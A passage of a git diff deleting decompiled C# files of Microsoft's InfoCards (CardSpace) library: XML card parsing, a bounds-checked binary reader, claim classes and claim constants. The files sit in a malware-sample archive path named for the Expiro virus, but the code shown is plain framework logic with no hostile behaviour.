(IFormatProvider) CultureInfo.InvariantCulture); - if (this.IsSelfIssued && this.m_readIssuerInformation) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ExtendedInfoInSelfIssued"))); - continue; - case "PinDigest": - byte[] array1 = Utility.ReadByteStreamFromBase64(reader).ToArray(); - if (array1 != null && array1.Length != 0) - { - this.m_pinHash = array1; - continue; - } - continue; - case "HashSalt": - byte[] array2 = Utility.ReadByteStreamFromBase64(reader).ToArray(); - if (array2 != null && array2.Length != 0) - { - this.HashSalt = array2; - continue; - } - continue; - case "TimeLastUpdated": - string s = reader.ReadString().Trim(); - if (!string.IsNullOrEmpty(s)) - { - this.LastUpdate = XmlConvert.ToDateTime(s, XmlDateTimeSerializationMode.Utc); - continue; - } - continue; - case "IssuerId": - byte[] array3 = Utility.ReadByteStreamFromBase64(reader).ToArray(); - if (array3 != null && array3.Length != 0) - { - this.IssuerIdentifierAsBytes = array3; - continue; - } - continue; - case "BackgroundColor": - this.BackgroundColor = Convert.ToInt32(reader.ReadString().Trim(), (IFormatProvider) CultureInfo.InvariantCulture); - continue; - default: - continue; - } - } - else if ("http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI && XmlNodeType.EndElement != reader.NodeType && "RequireStrongRecipientIdentity" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI) - this.GetRPIdentityRequirement().StrongIdentityRequired = true; - } - } - catch (UriFormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidUriFormat"), (Exception) ex)); - } - } - - private void ReadPrivacyPolicy(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - string str = reader.IsStartElement("PrivacyNotice", "http://schemas.xmlsoap.org/ws/2005/05/identity") ? reader.GetAttribute("Version", "http://www.w3.org/XML/1998/namespace") : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - if (string.IsNullOrEmpty(str)) - str = reader.GetAttribute("Version"); - if (!string.IsNullOrEmpty(str)) - this.m_privacyPolicyVersion = Convert.ToUInt32(str, (IFormatProvider) CultureInfo.InvariantCulture); - this.m_privacyPolicyLink = reader.ReadString().Trim(); - } - - private void ReadClaimValues(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("ClaimValueList", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - while (reader.Read() && (XmlNodeType.EndElement != reader.NodeType || !("ClaimValueList" == reader.LocalName))) - { - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" == reader.NamespaceURI && "ClaimValue" == reader.LocalName && XmlNodeType.Element == reader.NodeType) - { - string attribute = reader.GetAttribute("Uri", "http://www.w3.org/XML/1998/namespace"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("Uri"); - reader.Read(); - string s = reader.ReadString().Trim(); - if (!this.IsPinProtected && s.Length > (int) byte.MaxValue) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("TooLongClaimValue"))); - if (!string.IsNullOrEmpty(attribute)) - { - if (!this.m_claims.ContainsKey(attribute)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - if (!string.IsNullOrEmpty(s) && !this.IsPinProtected) - { - if (InfoCardConstants.Gender == attribute && !("0" == s) && !("1" == s) && !("2" == s)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - if (InfoCardConstants.DateOfBirth == attribute) - { - try - { - XmlConvert.ToDateTime(s, XmlDateTimeSerializationMode.Utc); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - } - } - } - this.m_claims[attribute].Value = s; - } - } - } - } - - private void ReadClaims(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("SupportedClaimTypeList", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - while (reader.Read() && (XmlNodeType.EndElement != reader.NodeType || !("SupportedClaimTypeList" == reader.LocalName))) - { - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" == reader.NamespaceURI && "SupportedClaimType" == reader.LocalName) - { - InfoCardClaim claim = this.ReadSingleClaim(reader); - if (claim != null) - this.AddClaim(claim); - } - } - } - - private InfoCardClaim ReadSingleClaim(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("SupportedClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - string displaytag = (string) null; - string description = (string) null; - string str = (string) null; - string attribute = reader.GetAttribute("Uri", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("Uri"); - if (reader.IsEmptyElement) - { - if (!string.IsNullOrEmpty(attribute)) - return new InfoCardClaim(attribute, str, description, displaytag); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ClaimIdNull"))); - } - while (reader.Read()) - { - switch (reader.LocalName) - { - case "SupportedClaimType": - if (XmlNodeType.EndElement == reader.NodeType) - { - if (!string.IsNullOrEmpty(attribute)) - return new InfoCardClaim(attribute, str, description, displaytag); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ClaimIdNull"))); - } - continue; - case "Description": - description = reader.ReadString().Trim(); - continue; - case "DisplayTag": - displaytag = reader.ReadString().Trim(); - continue; - case "ClaimValue": - if (this.IsSelfIssued) - { - str = reader.ReadString().Trim(); - continue; - } - continue; - default: - continue; - } - } - return (InfoCardClaim) null; - } - - private void ReadAuthServices(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("TokenServiceList", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - if (reader.IsEmptyElement) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("NoAuthenticationServicesInCard"))); - while (reader.Read()) - { - switch (reader.LocalName) - { - case "TokenService": - if (reader.NodeType != XmlNodeType.EndElement) - { - TokenCreationParameter creationParameter = new TokenCreationParameter(); - creationParameter.ReadXml(reader); - if (!creationParameter.IsComplete()) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidTokenService"))); - this.CreationParameters.Add(creationParameter); - continue; - } - continue; - case "TokenServiceList": - return; - default: - continue; - } - } - } - - private List ReadTokenType(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("SupportedTokenTypeList", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - List stringList = new List(); - while (reader.Read() && (XmlNodeType.EndElement != reader.NodeType || !("SupportedTokenTypeList" == reader.LocalName))) - { - if ("TokenType" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2005/02/trust" == reader.NamespaceURI && XmlNodeType.EndElement != reader.NodeType && !reader.IsEmptyElement) - { - string str = reader.ReadString().Trim(); - if (!string.IsNullOrEmpty(str)) - stringList.Add(str); - } - } - return stringList; - } - - private enum PinAction : byte - { - NoPin, - PinSame, - PinAdded, - PinRemoved, - PinChanged, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardBinaryReader.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardBinaryReader.cs deleted file mode 100644 index 246e1d43..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardBinaryReader.cs +++ /dev/null @@ -1,146 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardBinaryReader -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Runtime.InteropServices; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal sealed class InfoCardBinaryReader : BinaryReader - { - private static readonly char[] s_singleChar = new char[1] - { - 'a' - }; - private int m_charSize; - - public InfoCardBinaryReader(Stream stream, Encoding encoding) - : base(stream, encoding) - { - this.m_charSize = encoding.GetByteCount(InfoCardBinaryReader.s_singleChar); - } - - public InfoCardBinaryReader(Stream stream) - : this(stream, Encoding.Unicode) - { - } - - public override int Read() - { - this.EnsureBufferBounds(1L); - return base.Read(); - } - - public override int Read(byte[] buffer, int index, int count) => base.Read(buffer, index, count); - - public override int Read(char[] buffer, int index, int count) => base.Read(buffer, index, count); - - public override bool ReadBoolean() - { - this.EnsureBufferBounds(1L); - return base.ReadBoolean(); - } - - public override byte ReadByte() - { - this.EnsureBufferBounds(1L); - return base.ReadByte(); - } - - public override byte[] ReadBytes(int count) - { - this.EnsureBufferBounds((long) count); - return base.ReadBytes(count); - } - - public override char ReadChar() - { - this.EnsureBufferBounds((long) this.m_charSize); - return base.ReadChar(); - } - - public override char[] ReadChars(int count) - { - this.EnsureBufferBounds(Convert.ToInt64(this.m_charSize * count)); - return base.ReadChars(count); - } - - public override Decimal ReadDecimal() - { - this.EnsureBufferBounds(Convert.ToInt64(Marshal.SizeOf(typeof (Decimal)))); - return base.ReadDecimal(); - } - - public override double ReadDouble() - { - this.EnsureBufferBounds(8L); - return base.ReadDouble(); - } - - public override short ReadInt16() - { - this.EnsureBufferBounds(2L); - return base.ReadInt16(); - } - - public override int ReadInt32() - { - this.EnsureBufferBounds(4L); - return base.ReadInt32(); - } - - public override long ReadInt64() - { - this.EnsureBufferBounds(8L); - return base.ReadInt64(); - } - - public override sbyte ReadSByte() - { - this.EnsureBufferBounds(1L); - return base.ReadSByte(); - } - - public override float ReadSingle() - { - this.EnsureBufferBounds(4L); - return base.ReadSingle(); - } - - public override string ReadString() - { - this.EnsureBufferBounds((long) (this.m_charSize * this.PeekChar() + 4)); - return base.ReadString(); - } - - public override ushort ReadUInt16() - { - this.EnsureBufferBounds(4L); - return base.ReadUInt16(); - } - - public override uint ReadUInt32() - { - this.EnsureBufferBounds(4L); - return base.ReadUInt32(); - } - - public override ulong ReadUInt64() - { - this.EnsureBufferBounds(8L); - return base.ReadUInt64(); - } - - private void EnsureBufferBounds(long offset) - { - if ((ulong) (this.BaseStream.Position + offset) > (ulong) this.BaseStream.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidOrCorruptArgumentStream"))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardClaim.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardClaim.cs deleted file mode 100644 index 58b79048..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardClaim.cs +++ /dev/null @@ -1,92 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardClaim -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class InfoCardClaim - { - private string m_id; - private string m_claimValue; - private string m_displayTag; - private string m_description; - - public InfoCardClaim() - { - } - - public InfoCardClaim(string id, string value) - : this(id, value, (string) null, (string) null) - { - } - - public InfoCardClaim(string id, string value, string description, string displaytag) - { - this.m_id = !string.IsNullOrEmpty(id) ? id : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (id)); - this.m_claimValue = value; - this.m_displayTag = displaytag; - this.m_description = description; - } - - public string Id => this.m_id; - - public string Value - { - get => this.m_claimValue; - set => this.m_claimValue = value; - } - - public string DisplayTag => this.m_displayTag; - - public string Description => this.m_description; - - public override string ToString() => this.m_claimValue; - - public void ThrowIfNotComplete() - { - if (string.IsNullOrEmpty(this.m_id)) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public void Serialize(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - if (writer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (writer)); - Utility.SerializeString(writer, this.m_id); - Utility.SerializeString(writer, this.m_displayTag); - Utility.SerializeString(writer, this.m_description); - Utility.SerializeString(writer, this.m_claimValue); - } - - public void DeSerialize(BinaryReader reader) - { - this.m_id = Utility.DeserializeString(reader); - this.m_displayTag = Utility.DeserializeString(reader); - this.m_description = Utility.DeserializeString(reader); - this.m_claimValue = Utility.DeserializeString(reader); - } - - public void Encrypt(PinProtectionHelper pinHelper) - { - byte[] bytes = new UnicodeEncoding().GetBytes(this.m_claimValue); - this.m_claimValue = Convert.ToBase64String(pinHelper.Encrypt(bytes)); - } - - public void Decrypt(PinProtectionHelper pinHelper) - { - UnicodeEncoding unicodeEncoding = new UnicodeEncoding(); - byte[] encrypted = Convert.FromBase64String(this.m_claimValue); - this.m_claimValue = unicodeEncoding.GetString(pinHelper.Decrypt(encrypted)); - } - - public InfoCardClaim Clone() => new InfoCardClaim((string) this.m_id.Clone(), string.IsNullOrEmpty(this.m_claimValue) ? (string) null : (string) this.m_claimValue.Clone(), string.IsNullOrEmpty(this.m_description) ? (string) null : (string) this.m_description.Clone(), string.IsNullOrEmpty(this.m_displayTag) ? (string) null : (string) this.m_displayTag.Clone()); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardClaimCollection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardClaimCollection.cs deleted file mode 100644 index ddaf2220..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardClaimCollection.cs +++ /dev/null @@ -1,158 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardClaimCollection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class InfoCardClaimCollection : Dictionary - { - private const int InvalidRow = 0; - private Uri m_infoCardId; - private int m_rowId; - - private InfoCardClaimCollection() - { - } - - public InfoCardClaimCollection(Uri infoCardId) - : this() - { - this.m_infoCardId = !((Uri) null == infoCardId) ? infoCardId : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (infoCardId)); - } - - public void Add(InfoCardClaim claim) => this[claim.Id] = claim != null ? claim : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (claim)); - - public void Get(StoreConnection con) - { - DataRow dataRow = con != null ? this.TryGetRow(con, QueryDetails.FullRow) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (dataRow == null) - return; - this.Deserialize((Stream) new MemoryStream(dataRow.GetDataField())); - this.m_rowId = dataRow.LocalId; - } - - public void Serialize(Stream stream, bool selfIssued) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - int count = this.Count; - if (selfIssued && this.ContainsKey(InfoCardConstants.PPIDClaimsUri)) - --count; - writer.Write(count); - foreach (KeyValuePair keyValuePair in (Dictionary) this) - { - if (selfIssued) - { - if (InfoCardConstants.PPIDClaimsUri != keyValuePair.Key) - keyValuePair.Value.Serialize(writer); - } - else - keyValuePair.Value.Serialize(writer); - } - } - - public void AgentSerialize(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write(this.Count); - foreach (KeyValuePair keyValuePair in (Dictionary) this) - keyValuePair.Value.Serialize(writer); - } - - public void Deserialize(Stream stream) - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - int num = reader.ReadInt32(); - for (int index = 0; index < num; ++index) - { - InfoCardClaim infoCardClaim = new InfoCardClaim(); - infoCardClaim.DeSerialize(reader); - this[infoCardClaim.Id] = infoCardClaim; - } - } - - public void Save(StoreConnection con, bool selfIssued) - { - DataRow row = con != null ? this.TryGetRow(con, QueryDetails.FullHeader) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (row == null) - { - row = new DataRow(); - row.ObjectType = 2; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream, selfIssued); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - } - - public void Encrypt(PinProtectionHelper pinHelper) - { - foreach (KeyValuePair keyValuePair in (Dictionary) this) - { - if (keyValuePair.Value.Value.Length > 0) - keyValuePair.Value.Encrypt(pinHelper); - } - } - - public void Decrypt(PinProtectionHelper pinHelper) - { - foreach (KeyValuePair keyValuePair in (Dictionary) this) - { - if (keyValuePair.Value.Value.Length > 0) - { - keyValuePair.Value.Decrypt(pinHelper); - if (!string.IsNullOrEmpty(keyValuePair.Value.Value)) - { - if (InfoCardConstants.Gender == keyValuePair.Key && !("0" == keyValuePair.Value.Value) && !("1" == keyValuePair.Value.Value) && !("2" == keyValuePair.Value.Value)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidEncryptedClaimValues"))); - if (InfoCardConstants.DateOfBirth == keyValuePair.Key) - { - try - { - XmlConvert.ToDateTime(keyValuePair.Value.Value, XmlDateTimeSerializationMode.Utc); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidEncryptedClaimValues"))); - throw; - } - } - } - } - } - } - - public InfoCardClaimCollection Clone() - { - InfoCardClaimCollection cardClaimCollection = new InfoCardClaimCollection(new Uri(this.m_infoCardId.OriginalString)); - cardClaimCollection.m_rowId = this.m_rowId; - foreach (KeyValuePair keyValuePair in (Dictionary) this) - cardClaimCollection[(string) keyValuePair.Key.Clone()] = keyValuePair.Value.Clone(); - return cardClaimCollection; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "null infocard id"); - return con.GetSingleRow(details, new QueryParameter("ix_objecttype", new object[1] - { - (object) 2 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardConstants.cs deleted file mode 100644 index 541f7f44..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardConstants.cs +++ /dev/null @@ -1,189 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.IdentityModel.Claims; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal static class InfoCardConstants - { - private const int DEFAULT_MAX_MESSAGE_SIZE = 20971520; - private const int DEFAULT_MAX_MEX_CHAIN = 100; - private const string MAX_MESSAGE_KEY = "MaximumMessageSize"; - private const string MAX_MEX_CHAIN = "MaximumMexChain"; - private const string INFOCARD_REGISTRY_KEY = "software\\microsoft\\infocard"; - private static int s_maxMessageSize; - private static int s_maxMexChainLength; - private static string[] s_SelfIssuedClaims = new string[14] - { - InfoCardConstants.GivenName, - InfoCardConstants.Surname, - InfoCardConstants.EmailAddress, - InfoCardConstants.StreetAddress, - InfoCardConstants.Locality, - InfoCardConstants.StateOrProvince, - InfoCardConstants.PostalCode, - InfoCardConstants.Country, - InfoCardConstants.HomePhone, - InfoCardConstants.OtherPhone, - InfoCardConstants.MobilePhone, - InfoCardConstants.DateOfBirth, - InfoCardConstants.Gender, - InfoCardConstants.Webpage - }; - private static Dictionary s_claimDisplayTags = new Dictionary(); - private static Dictionary s_claimDescription = new Dictionary(); - private static XmlDictionaryReaderQuotas s_defaultQuotas = new XmlDictionaryReaderQuotas(); - private static List s_localTokenFactoryWhiteList = new List(); - private static List s_policyElementsToBeProcessed = new List(); - - public static int MaximumMessageSize => InfoCardConstants.s_maxMessageSize; - - public static int MaximumMexChainLength => InfoCardConstants.s_maxMexChainLength; - - public static string RegistryKey => "software\\microsoft\\infocard"; - - public static string GivenName => ClaimTypes.GivenName; - - public static string EmailAddress => ClaimTypes.Email; - - public static string Surname => ClaimTypes.Surname; - - public static string StreetAddress => ClaimTypes.StreetAddress; - - public static string Locality => ClaimTypes.Locality; - - public static string StateOrProvince => ClaimTypes.StateOrProvince; - - public static string PostalCode => ClaimTypes.PostalCode; - - public static string Country => ClaimTypes.Country; - - public static string HomePhone => ClaimTypes.HomePhone; - - public static string OtherPhone => ClaimTypes.OtherPhone; - - public static string MobilePhone => ClaimTypes.MobilePhone; - - public static string DateOfBirth => ClaimTypes.DateOfBirth; - - public static string Gender => ClaimTypes.Gender; - - public static string PPID => ClaimTypes.PPID; - - public static string Webpage => ClaimTypes.Webpage; - - public static bool DoesLocalTokenFactoryWhiteListContain(string nameSpaceValue, string value) => InfoCardConstants.s_localTokenFactoryWhiteList.Contains(nameSpaceValue + "/" + value); - - public static bool DoesPolicyElementsToBeProcessedListContain( - string nameSpaceValue, - string value) - { - return InfoCardConstants.s_policyElementsToBeProcessed.Contains(nameSpaceValue + "/" + value); - } - - public static XmlDictionaryReaderQuotas DefaultQuotas => InfoCardConstants.s_defaultQuotas; - - public static string[] SelfIssuedClaimsUris => InfoCardConstants.s_SelfIssuedClaims; - - public static string PPIDClaimsUri => InfoCardConstants.PPID; - - public static string ClaimDisplayTag(string key) => InfoCardConstants.s_claimDisplayTags.ContainsKey(key) ? SR.GetString(InfoCardConstants.s_claimDisplayTags[key]) : throw InfoCardTrace.ThrowHelperWarning((Exception) new ArgumentOutOfRangeException(SR.GetString("InvalidSelfIssuedUri"))); - - public static string ClaimsDescription(string key) => InfoCardConstants.s_claimDescription.ContainsKey(key) ? SR.GetString(InfoCardConstants.s_claimDescription[key]) : throw InfoCardTrace.ThrowHelperWarning((Exception) new ArgumentOutOfRangeException(SR.GetString("InvalidSelfIssuedUri"))); - - static InfoCardConstants() - { - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.GivenName, "GivenNameText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.EmailAddress, "EmailAddressText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Country, "CountryText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.DateOfBirth, "DateOfBirthText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Gender, "GenderText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.HomePhone, "HomePhoneText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Locality, "LocalityText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.MobilePhone, "MobilePhoneText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.OtherPhone, "OtherPhoneText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.PostalCode, "PostalCodeText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.StateOrProvince, "StateOrProvinceText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.StreetAddress, "StreetAddressText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Surname, "SurnameText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.PPID, "PPIDText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Webpage, "WebPageText"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.GivenName, "GivenNameDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.EmailAddress, "EmailAddressDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Country, "CountryDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.DateOfBirth, "DateOfBirthDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Gender, "GenderDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.HomePhone, "HomePhoneDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Locality, "LocalityDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.MobilePhone, "MobilePhoneDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.OtherPhone, "OtherPhoneDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.PostalCode, "PostalCodeDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.StateOrProvince, "StateOrProvinceDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.StreetAddress, "StreetAddressDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Surname, "SurnameDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.PPID, "PPIDDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Webpage, "WebPageDescription"); - InfoCardConstants.s_defaultQuotas.MaxDepth = 32; - InfoCardConstants.s_defaultQuotas.MaxStringContentLength = 8192; - InfoCardConstants.s_defaultQuotas.MaxArrayLength = 20971520; - InfoCardConstants.s_defaultQuotas.MaxBytesPerRead = 4096; - InfoCardConstants.s_defaultQuotas.MaxNameTableCharCount = 16384; - InfoCardConstants.s_maxMessageSize = 20971520; - InfoCardConstants.s_maxMexChainLength = 100; - using (new SystemIdentity(false)) - { - using (Microsoft.Win32.RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("software\\microsoft\\infocard", false)) - { - if (registryKey != null) - { - object obj1 = registryKey.GetValue(nameof (MaximumMessageSize), (object) 20971520); - if (obj1 is int num1 && num1 > 0 && (int) obj1 * 1024 > 0) - InfoCardConstants.s_maxMessageSize = (int) obj1 * 1024; - object obj2 = registryKey.GetValue("MaximumMexChain", (object) 100); - if (obj2 is int num2) - { - if (num2 > 0) - InfoCardConstants.s_maxMexChainLength = (int) obj2; - } - } - } - } - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/SignatureAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/EncryptionAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/CanonicalizationAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/SignWith"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/Claims"); - 